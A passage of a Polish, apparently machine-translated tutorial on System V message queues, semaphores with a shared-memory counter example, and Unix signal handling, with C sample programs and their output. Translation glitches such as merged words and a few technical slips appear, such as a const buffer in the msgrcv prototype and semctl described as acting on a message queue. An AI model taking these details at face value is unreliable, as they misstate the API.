Drugi argument, msgp, jest wskaźnikiem do wiadomości wysyłanej do dzwoniącego, zdefiniowanym w strukturze następującej postaci -
struct msgbuf {
long mtype;
char mtext[1];
};
Zmienna mtype jest używana do komunikacji z różnymi typami wiadomości, szczegółowo wyjaśnionymi w wywołaniu msgrcv (). Zmienna mtext jest tablicą lub inną strukturą, której rozmiar jest określony przez msgsz (wartość dodatnia). Jeśli pole mtext nie jest wymienione, jest to traktowane jako komunikat o rozmiarze zerowym, co jest dozwolone.
Trzeci argument, msgsz, to rozmiar wiadomości (wiadomość powinna kończyć się znakiem null)
Czwarty argument, msgflg, wskazuje pewne flagi, takie jak IPC_NOWAIT (zwraca natychmiast, gdy w kolejce nie zostanie znaleziona żadna wiadomość lub MSG_NOERROR (obcina tekst wiadomości, jeśli jest więcej niż msgsz bajtów)
To wywołanie zwróci 0 w przypadku sukcesu i -1 w przypadku niepowodzenia. Aby poznać przyczynę niepowodzenia, sprawdź zmienną errno lub funkcją perror ().
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
int msgrcv(int msgid, const void *msgp, size_t msgsz, long msgtype, int msgflg)
To wywołanie systemowe pobiera komunikat z kolejki komunikatów (System V). Należy przekazać następujące argumenty -
Pierwszy argument, msgid, rozpoznaje kolejkę komunikatów, tj. Identyfikator kolejki komunikatów. Wartość identyfikatora jest otrzymywana po pomyślnym wykonaniu msgget ()
Drugi argument, msgp, jest wskaźnikiem wiadomości otrzymanej od dzwoniącego. Jest zdefiniowany w strukturze następującej postaci -
struct msgbuf {
long mtype;
char mtext[1];
};
Zmienna mtype służy do komunikacji z różnymi typami wiadomości. Zmienna mtext jest tablicą lub inną strukturą, której rozmiar jest określony przez msgsz (wartość dodatnia). Jeśli pole mtext nie jest wymienione, jest to traktowane jako komunikat o rozmiarze zerowym, co jest dozwolone.
Trzeci argument, msgsz, to rozmiar otrzymanej wiadomości (wiadomość powinna kończyć się znakiem null)
Czwarty argument, msgtype, wskazuje typ wiadomości -
If msgtype is 0 - Odczytuje pierwszą otrzymaną wiadomość w kolejce
If msgtype is +ve - Odczytuje pierwszą wiadomość w kolejce typu msgtype (jeśli msgtype ma wartość 10, to odczytuje tylko pierwszą wiadomość typu 10, mimo że inne typy mogą znajdować się w kolejce na początku)
If msgtype is –ve - Odczytuje pierwszą wiadomość najniższego typu mniejszą lub równą bezwzględnej wartości typu wiadomości (powiedzmy, jeśli msgtype wynosi -5, to czyta pierwszą wiadomość typu mniejszego niż 5, tj. Typ wiadomości od 1 do 5)
Piąty argument, msgflg, wskazuje pewne flagi, takie jak IPC_NOWAIT (zwraca natychmiast, gdy w kolejce nie zostanie znaleziona żadna wiadomość lub MSG_NOERROR (obcina tekst wiadomości, jeśli jest więcej niż msgsz bajtów)
To wywołanie zwróci liczbę faktycznie otrzymanych bajtów w tablicy mtext w przypadku sukcesu i -1 w przypadku niepowodzenia. Aby poznać przyczynę niepowodzenia, sprawdź zmienną errno lub funkcją perror ().
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
int msgctl(int msgid, int cmd, struct msqid_ds *buf)
To wywołanie systemowe wykonuje operacje sterujące kolejką komunikatów (System V). Należy przekazać następujące argumenty -
Pierwszy argument, msgid, rozpoznaje kolejkę komunikatów, tj. Identyfikator kolejki komunikatów. Wartość identyfikatora jest otrzymywana po pomyślnym wykonaniu msgget ()
Drugi argument, cmd, jest poleceniem wykonującym wymaganą operację sterującą w kolejce komunikatów. Prawidłowe wartości cmd to -
IPC_STAT- Kopiuje informacje o bieżących wartościach każdego elementu struktury msqid_ds do przekazanej struktury wskazywanej przez buf. To polecenie wymaga uprawnień do odczytu w kolejce komunikatów.
IPC_SET - Ustawia identyfikator użytkownika, identyfikator grupy właściciela, uprawnienia itp. Wskazywane przez strukturę buf.
IPC_RMID - Natychmiast usuwa kolejkę komunikatów.
IPC_INFO - Zwraca informacje o limitach i parametrach kolejki wiadomości w strukturze wskazywanej przez buf, która jest typu struct msginfo
MSG_INFO - Zwraca strukturę msginfo zawierającą informacje o zużytych zasobach systemowych przez kolejkę komunikatów.
Trzeci argument, buf, jest wskaźnikiem do struktury kolejki komunikatów o nazwie struct msqid_ds. Wartości tej struktury będą używane do ustawiania lub pobierania zgodnie z cmd.
To wywołanie zwróci wartość w zależności od przekazanego polecenia. Sukces IPC_INFO i MSG_INFO lub MSG_STAT zwraca indeks lub identyfikator kolejki komunikatów lub 0 dla innych operacji i -1 w przypadku niepowodzenia. Aby poznać przyczynę niepowodzenia, sprawdź zmienną errno lub funkcją perror ().
Po zapoznaniu się z podstawowymi informacjami i wywołaniami systemowymi dotyczącymi kolejek komunikatów, przyszedł czas na sprawdzenie w programie.
Zobaczmy opis, zanim spojrzymy na program -
Step 1 - Utwórz dwa procesy, jeden służy do wysyłania do kolejki komunikatów (msgq_send.c), a drugi do pobierania z kolejki komunikatów (msgq_recv.c)
Step 2- Tworzenie klucza za pomocą funkcji ftok (). W tym celu początkowo tworzony jest plik msgq.txt, aby uzyskać unikalny klucz.
Step 3 - Proces wysyłania wykonuje następujące czynności.
Odczytuje ciąg znaków wejściowych od użytkownika
Usuwa nową linię, jeśli istnieje
Wysyła do kolejki wiadomości
Powtarza proces do końca wprowadzenia (CTRL + D)
Po odebraniu końca danych wejściowych wysyła komunikat „koniec” oznaczający koniec procesu
Step 4 - W trakcie odbierania wykonuje następujące czynności.
- Odczytuje wiadomość z kolejki
- Wyświetla dane wyjściowe
- Jeśli otrzymana wiadomość to „koniec”, kończy proces i wychodzi
Aby uprościć, w tym przykładzie nie używamy typu wiadomości. Ponadto jeden proces zapisuje w kolejce, a inny czyta z kolejki. Można to w razie potrzeby rozszerzyć, tj. Idealnie byłoby, gdyby jeden proces zapisywał do kolejki, a wiele procesów odczytywało z kolejki.
Teraz sprawdźmy proces (wysyłanie wiadomości do kolejki) - Plik: msgq_send.c
/* Filename: msgq_send.c */
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#define PERMS 0644
struct my_msgbuf {
long mtype;
char mtext[200];
};
int main(void) {
struct my_msgbuf buf;
int msqid;
int len;
key_t key;
system("touch msgq.txt");
if ((key = ftok("msgq.txt", 'B')) == -1) {
perror("ftok");
exit(1);
}
if ((msqid = msgget(key, PERMS | IPC_CREAT)) == -1) {
perror("msgget");
exit(1);
}
printf("message queue: ready to send messages.\n");
printf("Enter lines of text, ^D to quit:\n");
buf.mtype = 1; /* we don't really care in this case */
while(fgets(buf.mtext, sizeof buf.mtext, stdin) != NULL) {
len = strlen(buf.mtext);
/* remove newline at end, if it exists */
if (buf.mtext[len-1] == '\n') buf.mtext[len-1] = '\0';
if (msgsnd(msqid, &buf, len+1, 0) == -1) /* +1 for '\0' */
perror("msgsnd");
}
strcpy(buf.mtext, "end");
len = strlen(buf.mtext);
if (msgsnd(msqid, &buf, len+1, 0) == -1) /* +1 for '\0' */
perror("msgsnd");
if (msgctl(msqid, IPC_RMID, NULL) == -1) {
perror("msgctl");
exit(1);
}
printf("message queue: done sending messages.\n");
return 0;
}
Kroki kompilacji i wykonywania
message queue: ready to send messages.
Enter lines of text, ^D to quit:
this is line 1
this is line 2
message queue: done sending messages.
Poniżej znajduje się kod z procesu odbierania wiadomości (pobierania wiadomości z kolejki) - Plik: msgq_recv.c
/* Filename: msgq_recv.c */
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#define PERMS 0644
struct my_msgbuf {
long mtype;
char mtext[200];
};
int main(void) {
struct my_msgbuf buf;
int msqid;
int toend;
key_t key;
if ((key = ftok("msgq.txt", 'B')) == -1) {
perror("ftok");
exit(1);
}
if ((msqid = msgget(key, PERMS)) == -1) { /* connect to the queue */
perror("msgget");
exit(1);
}
printf("message queue: ready to receive messages.\n");
for(;;) { /* normally receiving never ends but just to make conclusion
/* this program ends wuth string of end */
if (msgrcv(msqid, &buf, sizeof(buf.mtext), 0, 0) == -1) {
perror("msgrcv");
exit(1);
}
printf("recvd: \"%s\"\n", buf.mtext);
toend = strcmp(buf.mtext,"end");
if (toend == 0)
break;
}
printf("message queue: done receiving messages.\n");
system("rm msgq.txt");
return 0;
}
Kroki kompilacji i wykonywania
message queue: ready to receive messages.
recvd: "this is line 1"
recvd: "this is line 2"
recvd: "end"
message queue: done receiving messages.
Pierwsze pytanie, które nasuwa się na myśl brzmi: po co nam semafory? Prosta odpowiedź, aby chronić krytyczny / wspólny region współdzielony przez wiele procesów.
Załóżmy, że wiele procesów używa tego samego regionu kodu i jeśli wszystkie chcą uzyskać dostęp równolegle, wynik nakłada się. Załóżmy na przykład, że wielu użytkowników korzysta tylko z jednej drukarki (sekcja wspólna / krytyczna), powiedzmy 3 użytkowników, biorąc pod uwagę 3 zadania w tym samym czasie, jeśli wszystkie zadania rozpoczynają się równolegle, wtedy wydruk jednego użytkownika nakłada się na inny. Musimy więc zabezpieczyć to za pomocą semaforów, tj. Blokować krytyczną sekcję, gdy jeden proces jest uruchomiony i odblokowywać, gdy jest zakończony. Będzie to powtarzane dla każdego użytkownika / procesu, aby jedno zadanie nie nakładało się na inne zadanie.
Zasadniczo semafory są podzielone na dwa typy -
Binary Semaphores - Tylko dwa stany 0 i 1, tj. Zablokowany / odblokowany lub dostępny / niedostępny, implementacja Mutex.
Counting Semaphores - Semafory, które pozwalają na dowolną liczbę zasobów, nazywane są semaforami zliczającymi.
Załóżmy, że mamy 5 drukarek (aby zrozumieć, załóżmy, że 1 drukarka akceptuje tylko 1 zadanie) i mamy 3 zadania do wydrukowania. Teraz 3 zadania byłyby przydzielane dla 3 drukarek (po 1 na każdą). Ponownie pojawiły się 4 zlecenia, gdy to było w toku. Teraz z 2 dostępnych drukarek zaplanowano 2 zadania i mamy jeszcze 2 zadania, które zostaną ukończone dopiero po udostępnieniu jednego zasobu / drukarki. Ten rodzaj planowania według dostępności zasobów można postrzegać jako liczące semafory.
Aby przeprowadzić synchronizację za pomocą semaforów, wykonaj następujące czynności -
Step 1 - Utwórz semafor lub połącz się z już istniejącym semaforem (semget ())
Step 2 - Wykonywanie operacji na semaforze, tj. Przydzielanie, zwalnianie lub czekanie na zasoby (semop ())
Step 3 - Wykonywanie operacji kontrolnych na kolejce komunikatów (semctl ())
Teraz sprawdźmy to na podstawie wywołań systemowych, które mamy.
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/sem.h>
int semget(key_t key, int nsems, int semflg)
To wywołanie systemowe tworzy lub przydziela zestaw semaforów Systemu V. Należy przekazać następujące argumenty -
Pierwszy argument, klucz, rozpoznaje kolejkę komunikatów. Klucz może być dowolną wartością lub taką, która może pochodzić z funkcji bibliotecznej ftok ().
Drugi argument, nsems, określa liczbę semaforów. Jeśli binarny to 1, oznacza potrzebę 1 zestawu semaforów, w przeciwnym razie zgodnie z wymaganą liczbą zestawów semaforów.
Trzeci argument, semflg, określa wymagane znaczniki semafora, takie jak IPC_CREAT (tworzenie semafora, jeśli nie istnieje) lub IPC_EXCL (używany z IPC_CREAT do tworzenia semafora i wywołanie kończy się niepowodzeniem, jeśli semafor już istnieje). Musisz również przekazać uprawnienia.
Note - Zapoznaj się z wcześniejszymi sekcjami, aby uzyskać szczegółowe informacje na temat uprawnień.
To wywołanie zwróci prawidłowy identyfikator semafora (używany do dalszych wywołań semaforów) po pomyślnym zakończeniu i -1 w przypadku niepowodzenia. Aby poznać przyczynę niepowodzenia, sprawdź zmienną errno lub funkcją perror ().
Różne błędy związane z tym wywołaniem to EACCESS (odmowa uprawnień), EEXIST (kolejka już istnieje, nie można utworzyć), ENOENT (kolejka nie istnieje), ENOMEM (za mało pamięci do utworzenia kolejki), ENOSPC (maksymalna liczba zestawów przekroczona) itp.
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/sem.h>
int semop(int semid, struct sembuf *semops, size_t nsemops)
To wywołanie systemowe wykonuje operacje na zestawach semaforów Systemu V, a mianowicie przydzielanie zasobów, czekanie na zasoby lub zwalnianie zasobów. Należy przekazać następujące argumenty -
Pierwszy argument, semid, wskazuje identyfikator zestawu semaforów utworzony przez semget ().
Drugi argument, semops, jest wskaźnikiem do tablicy operacji do wykonania na zestawie semaforów. Struktura jest następująca -
struct sembuf {
unsigned short sem_num; /* Semaphore set num */
short sem_op; /* Semaphore operation */
short sem_flg; /* Operation flags, IPC_NOWAIT, SEM_UNDO */
};
Element sem_op w powyższej strukturze wskazuje operację, którą należy wykonać -
Jeśli sem_op ma wartość –ve, przydziel lub uzyskaj zasoby. Blokuje proces wywołujący do czasu zwolnienia wystarczającej ilości zasobów przez inne procesy, aby proces ten mógł przydzielić.
Jeśli sem_op ma wartość zero, proces wywołujący czeka lub śpi, aż wartość semafora osiągnie 0.
Jeśli sem_op to + ve, zwolnij zasoby.
Na przykład -
struct sembuf sem_lock = {0, -1, SEM_UNDO};
struct sembuf sem_unlock = {0, 1, SEM_UNDO};
Trzeci argument, nsemops, to liczba operacji w tej tablicy.
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/sem.h>
int semctl(int semid, int semnum, int cmd, …)
To wywołanie systemowe wykonuje operację sterującą dla semafora Systemu V. Należy przekazać następujące argumenty -
Pierwszy argument, semid, jest identyfikatorem semafora. Ten identyfikator jest identyfikatorem semafora, który jest wartością zwracaną przez wywołanie systemowe semget ().
Drugi argument, semnum, to liczba semaforów. Semafory są ponumerowane od 0.
Trzeci argument, cmd, to polecenie wykonania wymaganej operacji sterującej na semaforze.
Czwarty argument typu union semun zależy od polecenia cmd. W kilku przypadkach czwarty argument nie ma zastosowania.
Sprawdźmy Union Semun -
union semun {
int val; /* val for SETVAL */
struct semid_ds *buf; /* Buffer for IPC_STAT and IPC_SET */
unsigned short *array; /* Buffer for GETALL and SETALL */
struct seminfo *__buf; /* Buffer for IPC_INFO and SEM_INFO*/
};
Struktura danych semid_ds zdefiniowana w sys / sem.h jest następująca -
struct semid_ds {
struct ipc_perm sem_perm; /* Permissions */
time_t sem_otime; /* Last semop time */
time_t sem_ctime; /* Last change time */
unsigned long sem_nsems; /* Number of semaphores in the set */
};
Note - Więcej informacji na temat innych struktur danych można znaleźć na stronach podręcznika.
union semun arg; Prawidłowe wartości cmd to -
IPC_STAT- Kopiuje informacje o bieżących wartościach każdego elementu członkowskiego struct semid_ds do przekazanej struktury wskazywanej przez arg.buf. To polecenie wymaga uprawnień do odczytu semafora.
IPC_SET - Ustawia identyfikator użytkownika, identyfikator grupy właściciela, uprawnienia itp. Wskazywane przez strukturę semid_ds.
IPC_RMID - Usuwa zestaw semaforów.
IPC_INFO - Zwraca informacje o limitach semaforów i parametrach w strukturze semid_ds wskazywanej przez arg .__ buf.
SEM_INFO - Zwraca strukturę seminfo zawierającą informacje o zużytych zasobach systemowych przez semafor.
To wywołanie zwróci wartość (wartość nieujemną) w zależności od przekazanego polecenia. Po pomyślnym zakończeniu IPC_INFO i SEM_INFO lub SEM_STAT zwraca indeks lub identyfikator najwyższego używanego wpisu zgodnie z Semaforem lub wartość semncnt dla GETNCNT lub wartość sempid dla GETPID lub wartość semval dla GETVAL 0 dla innych operacji w przypadku sukcesu i - 1 w przypadku awarii. Aby poznać przyczynę niepowodzenia, sprawdź zmienną errno lub funkcją perror ().
Zanim przyjrzymy się kodowi, zrozummy jego implementację -
Utwórz dwa procesy, powiedzmy, dziecko i rodzic.
Utwórz pamięć współdzieloną potrzebną głównie do przechowywania licznika i innych flag wskazujących koniec procesu odczytu / zapisu w pamięci współdzielonej.
Licznik jest zwiększany o liczbę przez procesy nadrzędne i potomne. Liczba jest przekazywana jako argument wiersza poleceń lub przyjmowana jako domyślna (jeśli nie zostanie przekazana jako argument wiersza poleceń lub wartość jest mniejsza niż 10000). Nazywany z określonym czasem snu, aby zapewnić rodzicowi i dziecku dostęp do pamięci współdzielonej w tym samym czasie, tj. Równolegle.
Ponieważ licznik jest zwiększany w krokach co 1 zarówno przez rodzica, jak i dziecko, końcowa wartość powinna być dwukrotnością licznika. Ponieważ zarówno procesy nadrzędne, jak i potomne wykonują operacje w tym samym czasie, licznik nie jest zwiększany zgodnie z wymaganiami. Dlatego musimy zapewnić kompletność jednego procesu, po którym następuje inny proces.
Wszystkie powyższe implementacje są wykonywane w pliku shm_write_cntr.c
Sprawdź, czy wartość licznika jest zaimplementowana w pliku shm_read_cntr.c
Aby zapewnić ukończenie, program semafora jest zaimplementowany w pliku shm_write_cntr_with_sem.c. Usuń semafor po zakończeniu całego procesu (po przeczytaniu z innego programu)
Ponieważ mamy oddzielne pliki do odczytu wartości licznika w pamięci współdzielonej i nie mamy żadnego wpływu na zapis, program do odczytu pozostaje ten sam (shm_read_cntr.c)
Zawsze lepiej jest wykonać program do pisania na jednym terminalu i odczytać program z innego terminala. Ponieważ program kończy wykonywanie dopiero po zakończeniu procesu zapisu i odczytu, można uruchomić program po całkowitym wykonaniu programu zapisu. Program do zapisu będzie czekał, aż odczytany program zostanie uruchomiony i zakończy się dopiero po jego zakończeniu.
Programy bez semaforów.
/* Filename: shm_write_cntr.c */
#include<stdio.h>
#include<sys/ipc.h>
#include<sys/shm.h>
#include<sys/types.h>
#include<string.h>
#include<errno.h>
#include<stdlib.h>
#include<unistd.h>
#include<string.h>
#define SHM_KEY 0x12345
struct shmseg {
int cntr;
int write_complete;
int read_complete;
};
void shared_memory_cntr_increment(int pid, struct shmseg *shmp, int total_count);
int main(int argc, char *argv[]) {
int shmid;
struct shmseg *shmp;
char *bufptr;
int total_count;
int sleep_time;
pid_t pid;
if (argc != 2)
total_count = 10000;
else {
total_count = atoi(argv[1]);
if (total_count < 10000)
total_count = 10000;
}
printf("Total Count is %d\n", total_count);
shmid = shmget(SHM_KEY, sizeof(struct shmseg), 0644|IPC_CREAT);
if (shmid == -1) {
perror("Shared memory");
return 1;
}
// Attach to the segment to get a pointer to it.
shmp = shmat(shmid, NULL, 0);
if (shmp == (void *) -1) {
perror("Shared memory attach");
return 1;
}
shmp->cntr = 0;
pid = fork();
/* Parent Process - Writing Once */
if (pid > 0) {
shared_memory_cntr_increment(pid, shmp, total_count);
} else if (pid == 0) {
shared_memory_cntr_increment(pid, shmp, total_count);
return 0;
} else {
perror("Fork Failure\n");
return 1;
}
while (shmp->read_complete != 1)
sleep(1);
if (shmdt(shmp) == -1) {
perror("shmdt");
return 1;
}
if (shmctl(shmid, IPC_RMID, 0) == -1) {
perror("shmctl");
return 1;
}
printf("Writing Process: Complete\n");
return 0;
}
/* Increment the counter of shared memory by total_count in steps of 1 */
void shared_memory_cntr_increment(int pid, struct shmseg *shmp, int total_count) {
int cntr;
int numtimes;
int sleep_time;
cntr = shmp->cntr;
shmp->write_complete = 0;
if (pid == 0)
printf("SHM_WRITE: CHILD: Now writing\n");
else if (pid > 0)
printf("SHM_WRITE: PARENT: Now writing\n");
//printf("SHM_CNTR is %d\n", shmp->cntr);
/* Increment the counter in shared memory by total_count in steps of 1 */
for (numtimes = 0; numtimes < total_count; numtimes++) {
cntr += 1;
shmp->cntr = cntr;
/* Sleeping for a second for every thousand */
sleep_time = cntr % 1000;
if (sleep_time == 0)
sleep(1);
}
shmp->write_complete = 1;
if (pid == 0)
printf("SHM_WRITE: CHILD: Writing Done\n");
else if (pid > 0)
printf("SHM_WRITE: PARENT: Writing Done\n");
return;
}
Kroki kompilacji i wykonywania
Total Count is 10000
SHM_WRITE: PARENT: Now writing
SHM_WRITE: CHILD: Now writing
SHM_WRITE: PARENT: Writing Done
SHM_WRITE: CHILD: Writing Done
Writing Process: Complete
Teraz sprawdźmy program odczytujący pamięć współdzieloną.
/* Filename: shm_read_cntr.c */
#include<stdio.h>
#include<sys/ipc.h>
#include<sys/shm.h>
#include<sys/types.h>
#include<string.h>
#include<errno.h>
#include<stdlib.h>
#include<unistd.h>
#define SHM_KEY 0x12345
struct shmseg {
int cntr;
int write_complete;
int read_complete;
};
int main(int argc, char *argv[]) {
int shmid, numtimes;
struct shmseg *shmp;
int total_count;
int cntr;
int sleep_time;
if (argc != 2)
total_count = 10000;
else {
total_count = atoi(argv[1]);
if (total_count < 10000)
total_count = 10000;
}
shmid = shmget(SHM_KEY, sizeof(struct shmseg), 0644|IPC_CREAT);
if (shmid == -1) {
perror("Shared memory");
return 1;
}
// Attach to the segment to get a pointer to it.
shmp = shmat(shmid, NULL, 0);
if (shmp == (void *) -1) {
perror("Shared memory attach");
return 1;
}
/* Read the shared memory cntr and print it on standard output */
while (shmp->write_complete != 1) {
if (shmp->cntr == -1) {
perror("read");
return 1;
}
sleep(3);
}
printf("Reading Process: Shared Memory: Counter is %d\n", shmp->cntr);
printf("Reading Process: Reading Done, Detaching Shared Memory\n");
shmp->read_complete = 1;
if (shmdt(shmp) == -1) {
perror("shmdt");
return 1;
}
printf("Reading Process: Complete\n");
return 0;
}
Kroki kompilacji i wykonywania
Reading Process: Shared Memory: Counter is 11000
Reading Process: Reading Done, Detaching Shared Memory
Reading Process: Complete
Jeśli zaobserwujesz powyższe dane wyjściowe, licznik powinien wynosić 20000, jednak ponieważ przed zakończeniem jednego zadania procesowego inny proces również jest przetwarzany równolegle, wartość licznika nie jest zgodna z oczekiwaniami. Dane wyjściowe będą się różnić w zależności od systemu, a także będą się różnić przy każdym wykonaniu. Aby oba procesy wykonywały zadanie po wykonaniu jednego zadania, należy je realizować z wykorzystaniem mechanizmów synchronizacji.
Teraz sprawdźmy tę samą aplikację za pomocą semaforów.
Note - Program czytania pozostaje ten sam.
/* Filename: shm_write_cntr_with_sem.c */
#include<stdio.h>
#include<sys/types.h>
#include<sys/ipc.h>
#include<sys/shm.h>
#include<sys/sem.h>
#include<string.h>
#include<errno.h>
#include<stdlib.h>
#include<unistd.h>
#include<string.h>
#define SHM_KEY 0x12345
#define SEM_KEY 0x54321
#define MAX_TRIES 20
struct shmseg {
int cntr;
int write_complete;
int read_complete;
};
void shared_memory_cntr_increment(int, struct shmseg*, int);
void remove_semaphore();
int main(int argc, char *argv[]) {
int shmid;
struct shmseg *shmp;
char *bufptr;
int total_count;
int sleep_time;
pid_t pid;
if (argc != 2)
total_count = 10000;
else {
total_count = atoi(argv[1]);
if (total_count < 10000)
total_count = 10000;
}
printf("Total Count is %d\n", total_count);
shmid = shmget(SHM_KEY, sizeof(struct shmseg), 0644|IPC_CREAT);
if (shmid == -1) {
perror("Shared memory");
return 1;
}
// Attach to the segment to get a pointer to it.
shmp = shmat(shmid, NULL, 0);
if (shmp == (void *) -1) {
perror("Shared memory attach: ");
return 1;
}
shmp->cntr = 0;
pid = fork();
/* Parent Process - Writing Once */
if (pid > 0) {
shared_memory_cntr_increment(pid, shmp, total_count);
} else if (pid == 0) {
shared_memory_cntr_increment(pid, shmp, total_count);
return 0;
} else {
perror("Fork Failure\n");
return 1;
}
while (shmp->read_complete != 1)
sleep(1);
if (shmdt(shmp) == -1) {
perror("shmdt");
return 1;
}
if (shmctl(shmid, IPC_RMID, 0) == -1) {
perror("shmctl");
return 1;
}
printf("Writing Process: Complete\n");
remove_semaphore();
return 0;
}
/* Increment the counter of shared memory by total_count in steps of 1 */
void shared_memory_cntr_increment(int pid, struct shmseg *shmp, int total_count) {
int cntr;
int numtimes;
int sleep_time;
int semid;
struct sembuf sem_buf;
struct semid_ds buf;
int tries;
int retval;
semid = semget(SEM_KEY, 1, IPC_CREAT | IPC_EXCL | 0666);
//printf("errno is %d and semid is %d\n", errno, semid);
/* Got the semaphore */
if (semid >= 0) {
printf("First Process\n");
sem_buf.sem_op = 1;
sem_buf.sem_flg = 0;
sem_buf.sem_num = 0;
retval = semop(semid, &sem_buf, 1);
if (retval == -1) {
perror("Semaphore Operation: ");
return;
}
} else if (errno == EEXIST) { // Already other process got it
int ready = 0;
printf("Second Process\n");
semid = semget(SEM_KEY, 1, 0);
if (semid < 0) {
perror("Semaphore GET: ");
return;
}
/* Waiting for the resource */
sem_buf.sem_num = 0;
sem_buf.sem_op = 0;
sem_buf.sem_flg = SEM_UNDO;
retval = semop(semid, &sem_buf, 1);
if (retval == -1) {
perror("Semaphore Locked: ");
return;
}
}
sem_buf.sem_num = 0;
sem_buf.sem_op = -1; /* Allocating the resources */
sem_buf.sem_flg = SEM_UNDO;
retval = semop(semid, &sem_buf, 1);
if (retval == -1) {
perror("Semaphore Locked: ");
return;
}
cntr = shmp->cntr;
shmp->write_complete = 0;
if (pid == 0)
printf("SHM_WRITE: CHILD: Now writing\n");
else if (pid > 0)
printf("SHM_WRITE: PARENT: Now writing\n");
//printf("SHM_CNTR is %d\n", shmp->cntr);
/* Increment the counter in shared memory by total_count in steps of 1 */
for (numtimes = 0; numtimes < total_count; numtimes++) {
cntr += 1;
shmp->cntr = cntr;
/* Sleeping for a second for every thousand */
sleep_time = cntr % 1000;
if (sleep_time == 0)
sleep(1);
}
shmp->write_complete = 1;
sem_buf.sem_op = 1; /* Releasing the resource */
retval = semop(semid, &sem_buf, 1);
if (retval == -1) {
perror("Semaphore Locked\n");
return;
}
if (pid == 0)
printf("SHM_WRITE: CHILD: Writing Done\n");
else if (pid > 0)
printf("SHM_WRITE: PARENT: Writing Done\n");
return;
}
void remove_semaphore() {
int semid;
int retval;
semid = semget(SEM_KEY, 1, 0);
if (semid < 0) {
perror("Remove Semaphore: Semaphore GET: ");
return;
}
retval = semctl(semid, 0, IPC_RMID);
if (retval == -1) {
perror("Remove Semaphore: Semaphore CTL: ");
return;
}
return;
}
Kroki kompilacji i wykonywania
Total Count is 10000
First Process
SHM_WRITE: PARENT: Now writing
Second Process
SHM_WRITE: PARENT: Writing Done
SHM_WRITE: CHILD: Now writing
SHM_WRITE: CHILD: Writing Done
Writing Process: Complete
Teraz sprawdzimy wartość licznika w procesie odczytu.
Kroki wykonania
Reading Process: Shared Memory: Counter is 20000
Reading Process: Reading Done, Detaching Shared Memory
Reading Process: Complete
ZA signaljest powiadomieniem do procesu wskazującym na wystąpienie zdarzenia. Sygnał jest również nazywanysoftware interrupt i nie można go przewidzieć, aby poznać jego wystąpienie, dlatego jest również nazywany asynchronous event.
Sygnał można określić za pomocą numeru lub nazwy, zwykle nazwy sygnałów rozpoczynają się od SIG. Dostępne sygnały można sprawdzić za pomocą polecenia kill –l (l dla wyświetlania nazw sygnałów), które jest następujące -
Za każdym razem, gdy zostanie podniesiony sygnał (wygenerowany programowo lub przez system), wykonywana jest akcja domyślna. Co jeśli nie chcesz wykonywać domyślnej akcji, ale chcesz wykonać własne czynności po odebraniu sygnału? Czy jest to możliwe dla wszystkich sygnałów? Tak, można obsłużyć sygnał, ale nie dla wszystkich sygnałów. A jeśli chcesz zignorować sygnały, czy jest to możliwe? Tak, możliwe jest zignorowanie sygnału. Ignorowanie sygnału nie oznacza wykonywania domyślnej akcji ani obsługi sygnału. Prawie wszystkie sygnały można zignorować lub obsłużyć. Sygnały, których nie można zignorować ani obsłużyć / przechwycić, to SIGSTOP i SIGKILL.
Podsumowując, działania wykonywane dla sygnałów są następujące -
- Akcja domyślna
- Obsługuj sygnał
- Zignoruj sygnał
Jak omówiono, sygnał można obsłużyć, zmieniając wykonanie domyślnej akcji. Obsługę sygnału można przeprowadzić na dwa sposoby, tj. Poprzez wywołania systemowe signal () i sigaction ().
#include <signal.h>
typedef void (*sighandler_t) (int);
sighandler_t signal(int signum, sighandler_t handler);
System wywołania signal () wywoła zarejestrowany program obsługi po wygenerowaniu sygnału, jak wspomniano w signum. Obsługą może być SIG_IGN (ignorowanie sygnału), SIG_DFL (ustawienie sygnału z powrotem na domyślny mechanizm) lub zdefiniowany przez użytkownika program obsługi sygnału lub adres funkcji.
To wywołanie systemowe w przypadku sukcesu zwraca adres funkcji, która przyjmuje argument będący liczbą całkowitą i nie ma zwracanej wartości. To wywołanie zwraca SIG_ERR w przypadku błędu.
Chociaż za pomocą signal () można wywołać odpowiednią obsługę sygnału zarejestrowaną przez użytkownika, precyzyjne dostrojenie, takie jak maskowanie sygnałów, które powinny być blokowane, modyfikowanie zachowania sygnału, i inne funkcje nie są możliwe. Jest to możliwe przy użyciu funkcji systemowej sigaction ().
#include <signal.h>
int sigaction(int signum, const struct sigaction *act, struct sigaction *oldact)
To wywołanie systemowe jest używane do badania lub zmiany działania sygnału. Jeśli akt nie jest zerowy, nowa akcja dla sygnału signum jest instalowana z aktu. Jeśli oldact nie ma wartości null, poprzednia akcja jest zapisywana w oldact.
Struktura sigaction zawiera następujące pola -
Field 1 - Handler wymieniony w sa_handler lub sa_sigaction.
void (*sa_handler)(int);
void (*sa_sigaction)(int, siginfo_t *, void *);
Procedura obsługi dla sa_handler określa akcję, która ma zostać wykonana na podstawie znaku, a SIG_DFL wskazuje akcję domyślną lub SIG_IGN w celu zignorowania sygnału lub wskaźnika do funkcji obsługi sygnału.
Procedura obsługi dla sa_sigaction określa numer sygnału jako pierwszy argument, wskaźnik do struktury siginfo_t jako drugi argument i wskaźnik do kontekstu użytkownika (sprawdź getcontext () lub setcontext () w celu uzyskania dalszych szczegółów) jako trzeci argument.
Struktura siginfo_t zawiera informacje o sygnale, takie jak numer dostarczanego sygnału, wartość sygnału, identyfikator procesu, rzeczywisty identyfikator użytkownika procesu wysyłania itp.
Field 2 - Zestaw sygnałów do zablokowania.
int sa_mask;
Ta zmienna określa maskę sygnałów, które powinny być blokowane podczas wykonywania procedury obsługi sygnału.
Field 3 - Specjalne flagi.
int sa_flags;
To pole określa zestaw flag, które modyfikują zachowanie sygnału.
Field 4 - Przywróć obsługę.
void (*sa_restorer) (void);
To wywołanie systemowe zwraca 0 w przypadku sukcesu i -1 w przypadku niepowodzenia.
Rozważmy kilka przykładowych programów.
